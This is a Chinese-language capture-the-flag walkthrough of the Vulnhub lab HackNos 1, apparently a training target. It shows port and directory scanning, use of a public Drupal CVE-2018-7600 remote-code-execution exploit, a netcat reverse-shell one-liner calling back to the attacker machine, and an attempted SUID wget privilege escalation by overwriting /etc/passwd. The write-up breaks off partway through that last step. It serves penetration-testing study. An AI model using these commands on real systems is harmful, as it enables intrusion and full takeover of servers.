HackNos 1
识别目标主机IP地址
- (kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
- Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
-
- 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
- _____________________________________________________________________________
- IP At MAC Address Count Len MAC Vendor / Hostname
- -----------------------------------------------------------------------------
- 192.168.56.1 0a:00:27:00:00:06 1 60 Unknown vendor
- 192.168.56.100 08:00:27:8e:0a:96 1 60 PCS Systemtechnik GmbH
- 192.168.56.253 08:00:27:19:13:da 1 60 PCS Systemtechnik GmbH
复制代码 利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.253
NMAP扫描
- ──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
- Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 23:59 EDT
- Nmap scan report for bogon (192.168.56.253)
- Host is up (0.000098s latency).
- Not shown: 65533 closed tcp ports (reset)
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
- | ssh-hostkey:
- | 2048 a5a517704dbe48adba64c107a05503ea (RSA)
- | 256 f2ce421c04b899539542ab8922669edb (ECDSA)
- |_ 256 4a7d156583af82a31202211c2349fbe9 (ED25519)
- 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
- |_http-title: Apache2 Ubuntu Default Page: It works
- |_http-server-header: Apache/2.4.18 (Ubuntu)
- MAC Address: 08:00:27:19:13:DA (Oracle VirtualBox virtual NIC)
- Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
复制代码 NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80(http)
获得Shell
- ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ curl http://192.168.56.253/robots.txt
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>404 Not Found</title>
- </head><body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- <hr>
- <address>Apache/2.4.18 (Ubuntu) Server at 192.168.56.253 Port 80</address>
- </body></html>
-
- ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ nikto -h http://192.168.56.253
- - Nikto v2.1.6
- ---------------------------------------------------------------------------
- + Target IP: 192.168.56.253
- + Target Hostname: 192.168.56.253
- + Target Port: 80
- + Start Time: 2023-03-25 00:00:46 (GMT-4)
- ---------------------------------------------------------------------------
- + Server: Apache/2.4.18 (Ubuntu)
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + No CGI Directories found (use '-C all' to force check all possible dirs)
- + Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 59633974a1f12, mtime: gzip
- + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
- + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
- + OSVDB-3233: /icons/README: Apache default file found.
- + 7915 requests: 0 error(s) and 7 item(s) reported on remote host
- + End Time: 2023-03-25 00:01:36 (GMT-4) (50 seconds)
- ---------------------------------------------------------------------------
- + 1 host(s) tested
-
复制代码- ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ gobuster dir -u http://192.168.56.253 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
- ===============================================================
- Gobuster v3.3
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://192.168.56.253
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.3
- [+] Extensions: php,html,js,sh,txt
- [+] Timeout: 10s
- ===============================================================
- 2023/03/25 00:02:08 Starting gobuster in directory enumeration mode
- ===============================================================
- /index.html (Status: 200) [Size: 11321]
- /.html (Status: 403) [Size: 279]
- /.php (Status: 403) [Size: 279]
- /drupal (Status: 301) [Size: 317] [--> http://192.168.56.253/drupal/]
- /alexander.txt (Status: 200) [Size: 393]
- /.html (Status: 403) [Size: 279]
- /.php (Status: 403) [Size: 279]
- /server-status (Status: 403) [Size: 279]
- Progress: 1317761 / 1323366 (99.58%)===============================================================
- 2023/03/25 00:03:14 Finished
- ===============================================================
复制代码 目录扫描阶段发现了目录:/drupal以及文件:/alexander.txt- ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ curl http://192.168.56.253/alexander.txt | base64 -d
- % Total % Received % Xferd Average Speed Time Time Time Current
- Dload Upload Total Spent Left Speed
- 100 393 100 393 0 0 387k 0 --:--:-- --:--:-- --:--:-- 383k
- +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
- ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
- ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
- >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
- ++.<
复制代码 这是brainfuck编码,用在线网站解码得到:- https://www.splitbrain.org/services/ook
复制代码 不知道这是ssh的密码还是drupal的密码,分别尝试一下- ──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ ssh james@192.168.56.253
- The authenticity of host '192.168.56.253 (192.168.56.253)' can't be established.
- ED25519 key fingerprint is SHA256:h0yIfMN4Bukv3RMUspEBXwOXzImXvIPPSc2RZjB3cEM.
- This key is not known by any other names.
- Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
- Warning: Permanently added '192.168.56.253' (ED25519) to the list of known hosts.
- james@192.168.56.253's password:
- Permission denied, please try again.
- james@192.168.56.253's password:
复制代码 可以成功登录/drupal
从- http://192.168.56.253/drupal/CHANGELOG.txt
复制代码 知道drupal版本为7.57- https://github.com/pimps/CVE-2018-7600
复制代码- ┌──(kali㉿kali)-[~/Vulnhub/HackNos1/CVE-2018-7600]
- └─$ python drupa7-CVE-2018-7600.py http://192.168.56.253/drupal/ -c ls
- =============================================================================
- | DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
- | by pimps |
- =============================================================================
- [*] Poisoning a form and including it in cache.
- [*] Poisoned form ID: form-dCNohd49V58rf0ua7aGYvFK5MXbLR1rN2k0EjcA8Hoo
- [*] Triggering exploit to execute: ls
- CHANGELOG.txt
- COPYRIGHT.txt
- INSTALL.mysql.txt
- INSTALL.pgsql.txt
- INSTALL.sqlite.txt
- INSTALL.txt
- LICENSE.txt
- MAINTAINERS.txt
- README.txt
- UPGRADE.txt
- authorize.php
- cron.php
- includes
- index.php
- install.php
- misc
- modules
- profiles
- robots.txt
- scripts
- sites
- themes
- update.php
- web.config
- xmlrpc.php
复制代码- ──(kali㉿kali)-[~/Vulnhub/HackNos1/CVE-2018-7600]
- └─$ python drupa7-CVE-2018-7600.py http://192.168.56.253/drupal/ -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.206 5555 >/tmp/f'
- =============================================================================
- | DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
- | by pimps |
- =============================================================================
- [*] Poisoning a form and including it in cache.
- [*] Poisoned form ID: form-mdv12Axro06nJqcBVq8ymjIsu3depWzXQfJAcAR0aMU
- [*] Triggering exploit to execute: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.206 5555 >/tmp/f
复制代码 成功得到了目标主机反弹回来的Shell- ──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ sudo nc -nlvp 5555
- [sudo] password for kali:
- listening on [any] 5555 ...
- connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 33890
- /bin/sh: 0: can't access tty; job control turned off
- $ id
- uid=33(www-data) gid=33(www-data) groups=33(www-data)
- $ which python
- $ which python3
- /usr/bin/python3
- $ python3 -c 'import pty;pty.spawn("/bin/bash")'
- www-data@hackNos:/var/www/html/drupal$
复制代码 提权
由于wget有SUID位,根据GTFOBINS网站的步骤进行提权,但是失败:- www-data@hackNos:/home/james$ ls -alh
- ls -alh
- total 40K
- drwxr-xr-x 3 james james 4.0K Nov 16 2019 .
- drwxr-xr-x 3 root root 4.0K Oct 31 2019 ..
- -rw------- 1 james james 2.6K Nov 16 2019 .bash_history
- -rw-r--r-- 1 james james 220 Oct 31 2019 .bash_logout
- -rw-r--r-- 1 james james 3.7K Oct 31 2019 .bashrc
- drwx------ 2 james james 4.0K Oct 31 2019 .cache
- -rw------- 1 root root 127 Oct 31 2019 .mysql_history
- -rw-r--r-- 1 james james 655 Oct 31 2019 .profile
- -rw-r--r-- 1 james james 0 Oct 31 2019 .sudo_as_admin_successful
- -rw-rw-r-- 1 james james 175 Oct 31 2019 .wget-hsts
- -rw-r--r-- 1 root root 357 Nov 16 2019 user.txt
- www-data@hackNos:/home/james$ cat user.txt
- cat user.txt
- _
- | |
- / __) ______ _ _ ___ ___ _ __
- \__ \|______|| | | |/ __| / _ \| '__|
- ( / | |_| |\__ \| __/| |
- |_| \__,_||___/ \___||_|
-
-
- MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
- www-data@hackNos:/home/james$
复制代码 提权的方式就是通过下载目标靶机上的passwd,然后构造一个有root权限的用户加入到构造的passwd文件中,然后使用wget -O将内容重定向输入到/etc/passwd中- www-data@hackNos:/tmp$ TF=$(mktemp)
- TF=$(mktemp)
- www-data@hackNos:/tmp$ chmod +x $TF
- chmod +x $TF
- www-data@hackNos:/tmp$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
- echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
- www-data@hackNos:/tmp$ /usr/bin/wget --use-askpass=$TF 0
- /usr/bin/wget --use-askpass=$TF 0
- /usr/bin/wget: unrecognized option '--use-askpass=/tmp/tmp.3K0o9eZTI0'
- Usage: wget [OPTION]... [URL]...
- Try `wget --help' for more options.
复制代码 bob用户是我们要添加的具有root权限的用户- ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]
- └─$ openssl passwd -6 -salt jason 123456
- $6$jason$h5DlgYsVif/enQPTm/CgJ54tpQaPz0fwOmjoJKkTXi.EZ4Z6IOesX4REn/Dq8mXA4povr6tGXPy16EAcN.Ln41
-
复制代码 [code][/code]
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